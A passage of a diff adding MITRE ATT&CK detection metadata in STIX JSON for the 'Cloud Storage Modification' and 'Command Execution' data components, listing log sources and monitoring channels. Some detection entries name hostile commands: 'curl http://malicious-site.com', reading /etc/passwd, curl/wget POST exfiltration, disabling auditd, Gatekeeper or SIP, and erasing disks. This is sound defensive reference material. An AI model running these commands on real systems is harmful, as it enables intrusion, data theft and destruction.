"x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.930000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0023", + "external_id": "DC0023" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Storage Modification", + "description": "Cloud Storage Modification involves tracking changes made to cloud storage infrastructure, including updates to settings, permissions, or stored data. Examples include modifying object access control lists (ACLs), uploading new objects, or updating bucket policies. Examples: \n\nAWS S3: An object is uploaded or its ACL is modified.\n- Azure Blob Storage: A blob's metadata or permissions are updated.\n- Google Cloud Storage: An object's lifecycle policy is updated, or a bucket policy is changed.\n- OpenStack Swift: Modifications to container settings or uploading of new objects.\n\nThis data component can be collected through the following measures:\n\nEnable Logging\n\n- AWS S3: Enable AWS CloudTrail to log API events like PutObject, PutObjectAcl, and PutBucketPolicy.\n- Azure Blob Storage: Use Azure Monitor to log write and update operations.\n- Google Cloud Storage: Enable Google Cloud Audit Logs to track storage.objects.update and storage.buckets.update.\n- OpenStack Swift: Enable logging for PUT and POST requests to track object uploads and container metadata updates.\n\nUse Cloud Monitoring Tools\n\n- Integrate with tools like AWS Config, Azure Security Center, or Google Cloud Monitoring to detect configuration drift or unauthorized changes.\n\nCentralized Log Aggregation\n\n- Use a SIEM (e.g., Splunk) to aggregate logs across multiple cloud providers for unified monitoring and analysis.\n\nPeriodic API Queries\n\n- AWS CLI Example: Query recent modifications to bucket policies: `aws s3api get-bucket-policy --bucket sensitive-data`\n- Azure CLI Example: List changes to a blob container: `az storage blob show --container-name private-docs`\n- Google Cloud CLI Example: Check metadata updates: `gcloud storage objects describe gs://user-uploads/document.txt`", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "PutBucketLifecycle, PutLifecycleConfiguration, SetBucketLifecycle, storage.buckets.update" + }, + { + "name": "AWS:CloudTrail", + "channel": "PutObject (with SSE-C), UploadPart (SSE-C)" + }, + { + "name": "AWS:CloudTrail", + "channel": "PutBucketPolicy" + }, + { + "name": "m365:unified", + "channel": "SharingSet" + }, + { + "name": "saas:googledrive", + "channel": "drive.permission.add" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0023\", \"external_id\": \"DC0023\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"PutBucketLifecycle, PutLifecycleConfiguration, SetBucketLifecycle, storage.buckets.update\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PutObject (with SSE-C), UploadPart (SSE-C)\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PutBucketPolicy\"}, {\"name\": \"m365:unified\", \"channel\": \"SharingSet\"}, {\"name\": \"saas:googledrive\", \"channel\": \"drive.permission.add\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.930000+00:00\", \"old_value\": \"2025-04-18 15:13:45.928000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:34.849000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0064", + "external_id": "DC0064" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Command Execution", + "description": "Command Execution involves monitoring and capturing the execution of textual commands (including shell commands, cmdlets, and scripts) within an operating system or application. These commands may include arguments or parameters and are typically executed through interpreters such as `cmd.exe`, `bash`, `zsh`, `PowerShell`, or programmatic execution. Examples: \n\n- Windows Command Prompt\n - dir \u2013 Lists directory contents.\n - net user \u2013 Queries or manipulates user accounts.\n - tasklist \u2013 Lists running processes.\n- PowerShell\n - Get-Process \u2013 Retrieves processes running on a system.\n - Set-ExecutionPolicy \u2013 Changes PowerShell script execution policies.\n - Invoke-WebRequest \u2013 Downloads remote resources.\n- Linux Shell\n - ls \u2013 Lists files in a directory.\n - cat /etc/passwd \u2013 Reads the user accounts file.\n - curl http://malicious-site.com \u2013 Retrieves content from a malicious URL.\n- Container Environments\n - docker exec \u2013 Executes a command inside a running container.\n - kubectl exec \u2013 Runs commands in Kubernetes pods.\n- macOS Terminal\n - open \u2013 Opens files or URLs.\n - dscl . -list /Users \u2013 Lists all users on the system.\n - osascript -e \u2013 Executes AppleScript commands.\n\nThis data component can be collected through the following measures:\n\nEnable Command Logging\n\n- Windows:\n - Enable PowerShell logging: `Set-ExecutionPolicy Bypass`, `Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" -Name EnableScriptBlockLogging -Value 1`\n - Enable Windows Event Logging:\n - Event ID 4688: Tracks process creation, including command-line arguments.\n - Event ID 4104: Logs PowerShell script block execution.\n- Linux/macOS:\n - Enable shell history logging in `.bashrc` or `.zshrc`: `export HISTTIMEFORMAT=\"%d/%m/%y %T \"`, `export PROMPT_COMMAND='history -a; history -w'`\n - Use audit frameworks (e.g., `auditd`) to log command executions. Example rule to log all `execve` syscalls: `-a always,exit -F arch=b64 -S execve -k cmd_exec`\n- Containers:\n - Use runtime-specific tools like Docker\u2019s --log-driver or Kubernetes Audit Logs to capture exec commands.\n\nIntegrate with Centralized Logging\n\n- Collect logs using a SIEM (e.g., Splunk) or cloud-based log aggregation tools like AWS CloudWatch or Azure Monitor. Example Splunk Search for Windows Event 4688:\n`index=windows EventID=4688 CommandLine=*`\n\nUse Endpoint Detection and Response (EDR) Tools\n\n- Monitor command executions via EDR solutions \n\nDeploy Sysmon for Advanced Logging (Windows)\n\n- Use Sysmon's Event ID 1 to log process creation with command-line arguments", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Command", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of realmd, samba-tool, or ldapmodify with user-related arguments" + }, + { + "name": "macos:unifiedlog", + "channel": "dsconfigad or dscl with create or append options for AD-bound users" + }, + { + "name": "EDR:AMSI", + "channel": "None" + }, + { + "name": "linux:syslog", + "channel": "/var/log/syslog or journalctl" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Get-ADTrust|GetAllTrustRelationships" + }, + { + "name": "gcp:audit", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of script interpreters by systemd timer (ExecStart)" + }, + { + "name": "AWS:CloudTrail", + "channel": "InvokeFunction" + }, + { + "name": "m365:unified", + "channel": "Automated forwarding or file sync initiated by a logic app" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "name": "linux:syslog", + "channel": "Suspicious script or command execution targeting browser folders" + }, + { + "name": "esxi:shell", + "channel": "snapshot create/copy, esxcli" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands like systemctl stop , service stop, or kill -9 " + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl unload, kill, or pkill commands affecting daemons or background services" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of security-agent detection or enumeration commands" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of Microsoft script to enumerate custom forms in Outlook mailbox" + }, + { + "name": "m365:messagetrace", + "channel": "Inbound email triggers execution of mailbox-stored custom form" + }, + { + "name": "auditd:EXECVE", + "channel": "Use of mv or cp to rename files with '.' prefix" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of chflags hidden or SetFile -a V" + }, + { + "name": "esxi:shell", + "channel": "interactive shell" + }, + { + "name": "networkdevice:cli", + "channel": "CLI command" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream" + }, + { + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls to locale, timedatectl, or cat /etc/timezone" + }, + { + "name": "macos:unifiedlog", + "channel": "defaults read -g AppleLocale, systemsetup -gettimezone" + }, + { + "name": "macos:unifiedlog", + "channel": "profiles install -type=configuration" + }, + { + "name": "auditd:SYSCALL", + "channel": "sleep function usage or loops (nanosleep, usleep) in scripts" + }, + { + "name": "m365:unified", + "channel": "Search-Mailbox, Get-MessageTrace, eDiscovery requests" + }, + { + "name": "EDR:cli", + "channel": "Command Line Telemetry" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"loginwindow\" or \"pfctl\"'" + }, + { + "name": "networkdevice:syslog", + "channel": "Command Audit / Configuration Change" + }, + { + "name": "WinEventLog:Microsoft-Office/OutlookAddinMonitor", + "channel": "Outlook loading add-in via unexpected load path or non-default profile context" + }, + { + "name": "macos:unifiedlog", + "channel": "exec or sudo usage with NOPASSWD context or echo modifying sudoers" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4104" + }, + { + "name": "WinEventLog:Powershell", + "channel": "EventCode=4104" + }, + { + "name": "auditd:EXECVE", + "channel": "execve: Execution of update-ca-certificates or trust anchor modification commands" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain" + }, + { + "name": "auditd:EXECVE", + "channel": "gcore, gdb, strings, hexdump execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect, execve, write" + }, + { + "name": "esxi:hostd", + "channel": "command execution" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of auditctl, systemctl stop auditd, or kill -9 auditd" + }, + { + "name": "macos:syslog", + "channel": "system.log" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log" + }, + { + "name": "docker:daemon", + "channel": "docker exec or docker run with unexpected command/entrypoint" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call including 'nohup' or trailing '&'" + }, + { + "name": "macos:unifiedlog", + "channel": "nohup, disown, or osascript execution patterns" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "CommandLine=copy-item or robocopy from UNC path" + }, + { + "name": "esxi:shell", + "channel": "invoked remote scripts (esxcli)" + }, + { + "name": "auditd:EXECVE", + "channel": "execution of systemctl with subcommands start, stop, enable, disable" + }, + { + "name": "networkdevice:cli", + "channel": "Policy Update" + }, + { + "name": "auditd:SYSCALL", + "channel": "None" + }, + { + "name": "AWS:CloudTrail", + "channel": "eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand" + }, + { + "name": "gcp:audit", + "channel": "methodName: setIamPolicy, startInstance, createServiceAccount" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands executed within an SSH session where no matching logon/authentication event exists" + }, + { + "name": "esxi:hostd", + "channel": "modification of config files or shell command execution" + }, + { + "name": "kubernetes:audit", + "channel": "Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of 'profiles install -type=configuration'" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem:com.apple.Terminal" + }, + { + "name": "networkdevice:syslog", + "channel": "eventlog" + }, + { + "name": "esxi:hostd", + "channel": "shell access or job registration" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "PowerShell launched from outlook.exe or triggered without user invocation" + }, + { + "name": "m365:messagetrace", + "channel": "Inbound email matches crafted rule trigger pattern tied to persistence logic" + }, + { + "name": "linus:syslog", + "channel": "None" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103,4104" + }, + { + "name": "linux:syslog", + "channel": "Unusual outbound transfers from CLI tools like base64, gzip, or netcat" + }, + { + "name": "macos:unifiedlog", + "channel": "base64 or curl processes chained within short execution window" + }, + { + "name": "esxi:shell", + "channel": "base64 or gzip use within shell session" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys" + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod, execve" + }, + { + "name": "macos:unifiedlog", + "channel": "chmod command with arguments including '+s', 'u+s', or numeric values 4000\u20136777" + }, + { + "name": "macos:unifiedlog", + "channel": "command includes dscl . delete or sysadminctl --deleteUser" + }, + { + "name": "fs:fsusage", + "channel": "file system activity monitor" + }, + { + "name": "networkdevice:cli", + "channel": "ip ssh pubkey-chain" + }, + { + "name": "esxi:shell", + "channel": "scripts or binaries with misleading names" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of GUI-related binaries with suppressed window/display flags" + }, + { + "name": "linuxsyslog", + "channel": "nslcd or winbind logs" + }, + { + "name": "macos:unifiedlog", + "channel": "DS daemon log entries" + }, + { + "name": "esxi:hostd", + "channel": "logline inspection" + }, + { + "name": "macos:unifiedlog", + "channel": "diskutil eraseDisk / asr restore with destructive flags" + }, + { + "name": "networkdevice:cli", + "channel": "erase flash:, erase startup-config, format disk" + }, + { + "name": "networkdevice:syslog", + "channel": "command_exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: iptables, nft, firewall-cmd modifications" + }, + { + "name": "macos:unifiedlog", + "channel": "pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf" + }, + { + "name": "esxi:hostd", + "channel": "esxcli network firewall set commands" + }, + { + "name": "docker:events", + "channel": "container exec rm|container stop --force" + }, + { + "name": "esxi:hostd", + "channel": "event stream" + }, + { + "name": "networkdevice:cli", + "channel": "CLI command logs" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log entries containing \"esxcli system clock get\"" + }, + { + "name": "networkdevice:syslog", + "channel": "command-exec: CLI commands containing \"show clock\", \"show clock detail\", \"show timezone\" executed by suspicious user/source" + }, + { + "name": "networkdevice:cli", + "channel": "cmd: cmd=show clock detail" + }, + { + "name": "auditd:EXECVE", + "channel": "curl -X POST, wget --post-data" + }, + { + "name": "linux:syslog", + "channel": "sudo chage|grep pam_pwquality|cat /etc/login.defs" + }, + { + "name": "macos:unifiedlog", + "channel": "pwpolicy|PasswordPolicy" + }, + { + "name": "networkdevice:syslog", + "channel": "cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'" + }, + { + "name": "networkdevice:syslog", + "channel": "CLI command audit" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of PowerShell script to enumerate or remove malicious Home Page folder config" + }, + { + "name": "m365:messagetrace", + "channel": "Inbound email triggering Outlook to auto-access folder tied to malicious Home Page" + }, + { + "name": "macos:unifiedlog", + "channel": "Command line contains smbutil view //, mount_smbfs //" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Invocation of scp, rsync, curl, or sftp" + }, + { + "name": "esxi:hostd", + "channel": "scp/ssh used to move file across hosts" + }, + { + "name": "auditd:EXECVE", + "channel": "command line arguments containing lsblk, fdisk, parted" + }, + { + "name": "macos:unifiedlog", + "channel": "log messages related to disk enumeration context or Terminal session" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls modifying local mail filter configuration files" + }, + { + "name": "esxi:hostd", + "channel": "None" + }, + { + "name": "esxi:shell", + "channel": "None" + }, + { + "name": "networkdevice:cli", + "channel": "None" + }, + { + "name": "linux:syslog", + "channel": "sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user" + }, + { + "name": "docker:api", + "channel": "docker logs access or container inspect commands from non-administrative users" + }, + { + "name": "esxi:shell", + "channel": "command IN (\"esxcli vm process list\", \"vim-cmd vmsvc/getallvms\")" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: process_name IN (\"virsh\", \"VBoxManage\", \"qemu-img\") AND command IN (\"list\", \"info\")" + }, + { + "name": "esxi:shell", + "channel": "openssl|tar|dd" + }, + { + "name": "AWS:CloudTrail", + "channel": "SSM RunCommand" + }, + { + "name": "azure:activity", + "channel": "Intune PowerShell Scripts" + }, + { + "name": "m365:exchange", + "channel": "Cmdlet: Get-GlobalAddressList, Get-Recipient" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands like 'show running-config', 'copy running-config', or 'export config'" + }, + { + "name": "esxi:syslog", + "channel": "boot logs" + }, + { + "name": "networkdevice:syslog", + "channel": "system boot logs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog" + }, + { + "name": "macos:unifiedlog", + "channel": "defaults write com.apple.system.logging or logd manipulation" + }, + { + "name": "esxi:hostd", + "channel": "esxcli system syslog config set or reload" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: openssl pkcs12, certutil, keytool" + }, + { + "name": "macos:unifiedlog", + "channel": "process calling security find-certificate, export, or import" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args" + }, + { + "name": "m365:exchange", + "channel": "Get-RoleGroup, Get-DistributionGroup" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of systemctl or service with enable/start parameters" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of log show, fs_usage, or cat targeting system.log" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetLogEvents: High frequency log exports from CloudWatch or equivalent services" + }, + { + "name": "esxi:shell", + "channel": "Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log" + }, + { + "name": "esxi:shell", + "channel": "CLI usage logs" + }, + { + "name": "macos:syslog", + "channel": "/var/log/system.log" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of launchctl load/unload/start commands" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Exchange Cmdlets" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of python, perl, or custom binaries invoking compression libraries" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, USER_CMD" + }, + { + "name": "auditd:USER_CMD", + "channel": "USER_CMD" + }, + { + "name": "esxi:shell", + "channel": "Command execution trace" + }, + { + "name": "auditd:SYSCALL", + "channel": "bash/zsh of base64, tar, gzip, or openssl immediately after file write" + }, + { + "name": "linux:osquery", + "channel": "Command-line includes base64 -d or openssl enc -d" + }, + { + "name": "macos:unifiedlog", + "channel": "base64 -d or osascript invoked on staged file" + }, + { + "name": "auditd:EXECVE", + "channel": "exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions" + }, + { + "name": "auditd:EXECVE", + "channel": "curl -d, wget --post-data" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Processes executing sendmail/postfix with forged headers" + }, + { + "name": "macos:unifiedlog", + "channel": "diskutil partitionDisk or eraseVolume with partition scheme modifications" + }, + { + "name": "networkdevice:cli", + "channel": "format flash:, format disk, reformat commands" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments" + }, + { + "name": "auditd:PROCTITLE", + "channel": "proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters" + }, + { + "name": "esxi:shell", + "channel": "shell command execution for chmod, chown, or file permission modification on VMFS or system files" + }, + { + "name": "networkdevice:Firewall", + "channel": "Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config" + }, + { + "name": "auditd:EXECVE", + "channel": "grep/cat/awk on files with password fields" + }, + { + "name": "macos:unifiedlog", + "channel": "grep/cat on files matching credential patterns" + }, + { + "name": "kubernetes:audit", + "channel": "process execution involving curl, grep, or awk on secrets" + }, + { + "name": "AWS:CloudTrail", + "channel": "command-line execution invoking credential enumeration" + }, + { + "name": "auditd:SYSCALL", + "channel": "promiscuous mode transitions (ioctl or ifconfig)" + }, + { + "name": "fs:fsusage", + "channel": "access to BPF devices or interface IOCTLs" + }, + { + "name": "networkdevice:syslog", + "channel": "exec command='monitor capture'" + }, + { + "name": "WinEventLog:Microsoft-Office-Alerts", + "channel": "Unexpected DLL or component loaded at Office startup" + }, + { + "name": "m365:office", + "channel": "Startup execution includes non-default component" + }, + { + "name": "macos:unifiedlog", + "channel": "diskutil eraseDisk/zeroDisk or asr restore with destructive flags" + }, + { + "name": "networkdevice:cli", + "channel": "erase flash:, erase nvram:, format disk" + }, + { + "name": "macos:unifiedlog", + "channel": "spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper" + }, + { + "name": "esxi:shell", + "channel": "esxcli system syslog config set --loghost='' or stopping hostd service" + }, + { + "name": "networkdevice:syslog", + "channel": "no logging buffered, no aaa new-model, disable firewall" + }, + { + "name": "auditd:EXECVE", + "channel": "git push, curl -X POST" + }, + { + "name": "linux:cli", + "channel": "command logging" + }, + { + "name": "esxi:hostd", + "channel": "command log" + }, + { + "name": "networkdevice:cli", + "channel": "command logs" + }, + { + "name": "networkdevice:syslog", + "channel": "interactive shell logging" + }, + { + "name": "esxi:hostd", + "channel": "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'" + }, + { + "name": "auditd:SYSCALL", + "channel": "chattr, rm, shred, dd run on recovery directories or partitions" + }, + { + "name": "networkdevice:syslog", + "channel": "command sequence: erase \u2192 format \u2192 reload" + }, + { + "name": "macos:unifiedlog", + "channel": "process: at, job runner" + }, + { + "name": "macos:osquery", + "channel": "Interpreter exec with suspicious arguments as above" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of downgraded interpreters such as python2 or forced fallback commands" + }, + { + "name": "auditd:PROCTITLE", + "channel": "proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of gsettings set org.gnome.login-screen disable-user-list true" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of dscl . create with IsHidden=1" + }, + { + "name": "linux:syslog", + "channel": "sshd logs" + }, + { + "name": "esxi:shell", + "channel": "Shell Access/Command Execution" + }, + { + "name": "networkdevice:syslog", + "channel": "CLI Command Logging" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "udev rule reload or trigger command executed" + }, + { + "name": "linux:cli", + "channel": "Shell history logs" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'processImagePath contains \"zip\" OR \"base64\"'" + }, + { + "name": "networkdevice:cli", + "channel": "command logging" + }, + { + "name": "esxi:hostd", + "channel": "Command Execution" + }, + { + "name": "macos:osquery", + "channel": "launchd + process_events" + }, + { + "name": "esxi:vmkernel", + "channel": "DCUI shell start, BusyBox activity" + }, + { + "name": "esxi:hostd", + "channel": "remote CLI + vim-cmd logging" + }, + { + "name": "networkdevice:syslog", + "channel": "CLI Command Audit" + }, + { + "name": "m365:defender", + "channel": "Activity Log: Command Invocation" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "CmdletName: Get-Recipient, Get-User" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets" + }, + { + "name": "linux:shell", + "channel": "Manual invocation of software enumeration commands via interactive shell" + }, + { + "name": "auditd:SYSCALL", + "channel": "Command line arguments including SPApplicationsDataType" + }, + { + "name": "AWS:CloudTrail", + "channel": "ssm:GetCommandInvocation" + }, + { + "name": "esxi:shell", + "channel": "esxcli software vib list" + }, + { + "name": "auditd:EXECVE", + "channel": "execution of setfattr or getfattr commands" + }, + { + "name": "macos:unifiedlog", + "channel": "xattr utility execution with -w or -p flags" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of tools like cat, grep, or awk on credential files" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of 'security', 'cat', or 'grep' commands accessing credential storage" + }, + { + "name": "linux:syslog", + "channel": "CLI access to 'show running-config', 'show password', or 'cat config.txt'" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of curl, rsync, wget with internal knowledge base or IPs" + }, + { + "name": "esxi:shell", + "channel": "/root/.ash_history" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103,4104,4105, 4106" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of xev, xdotool, or input activity emulators" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl load or boot-time plist registration" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of interpreters creating archive-like outputs without calling tar/gzip" + }, + { + "name": "networkdevice:syslog", + "channel": "command audit" + }, + { + "name": "networkdevice:cli", + "channel": "Interface commands" + }, + { + "name": "macos:unifiedlog", + "channel": "dscl -create" + }, + { + "name": "esxi:vmkernel", + "channel": "esxcli system account add" + }, + { + "name": "ebpf:syscalls", + "channel": "useradd or /etc/passwd modified inside container" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes" + }, + { + "name": "macos:unifiedlog", + "channel": "kextload execution from Terminal or suspicious paths" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of PowerShell without -NoProfile flag" + }, + { + "name": "auditd:EXECVE", + "channel": "Process execution of update-ca-certificates or openssl with suspicious arguments" + }, + { + "name": "macos:unifiedlog", + "channel": "xattr -d com.apple.quarantine or similar removal commands" + }, + { + "name": "azure:signinLogs", + "channel": "OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain" + }, + { + "name": "linux:syslog", + "channel": "Sudo or root escalation followed by filesystem mount commands" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4101" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4105" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4106" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis" + }, + { + "name": "auditd:PROCTITLE", + "channel": "process title records containing discovery command sequences and environmental assessment patterns" + }, + { + "name": "macos:unifiedlog", + "channel": "Security framework operations including keychain access, cryptographic operations, and certificate validation" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, New-InboxRule" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of curl, wget, or custom scripts accessing financial endpoints" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of chattr to set +i or +a attributes" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of chflags hidden or setfile -a V" + }, + { + "name": "esxi:shell", + "channel": "mv, rename, or chmod commands moving VM files into hidden directories" + }, + { + "name": "esxi:hostd", + "channel": "execution + payload hints" + }, + { + "name": "linux:osquery", + "channel": "process_events.command_line" + }, + { + "name": "macos:unifiedlog", + "channel": "process:spawn, process:exec" + }, + { + "name": "esxi:vobd", + "channel": "shell session start" + }, + { + "name": "networkdevice:cli", + "channel": "shell command" + }, + { + "name": "WinEventLog:Microsoft-Office-Alerts", + "channel": "Office application warning or alert on macro execution from template" + }, + { + "name": "m365:unified", + "channel": "Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation" + }, + { + "name": "m365:office", + "channel": "Execution of unsigned macro from template" + }, + { + "name": "linux:cli", + "channel": "Terminal Command History" + }, + { + "name": "macos:unifiedlog", + "channel": "csrutil disable" + }, + { + "name": "macos:unifiedlog", + "channel": "log show --predicate 'process == '" + }, + { + "name": "networkdevice:syslog", + "channel": "Privilege-level command execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of tar, gzip, bzip2, or openssl with output redirection" + }, + { + "name": "saas:PRMetadata", + "channel": "Commit message or branch name contains encoded strings or payload indicators" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context" + }, + { + "name": "esxi:shell", + "channel": "`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`" + }, + { + "name": "AWS:CloudTrail", + "channel": "SendCommand, StartSession, 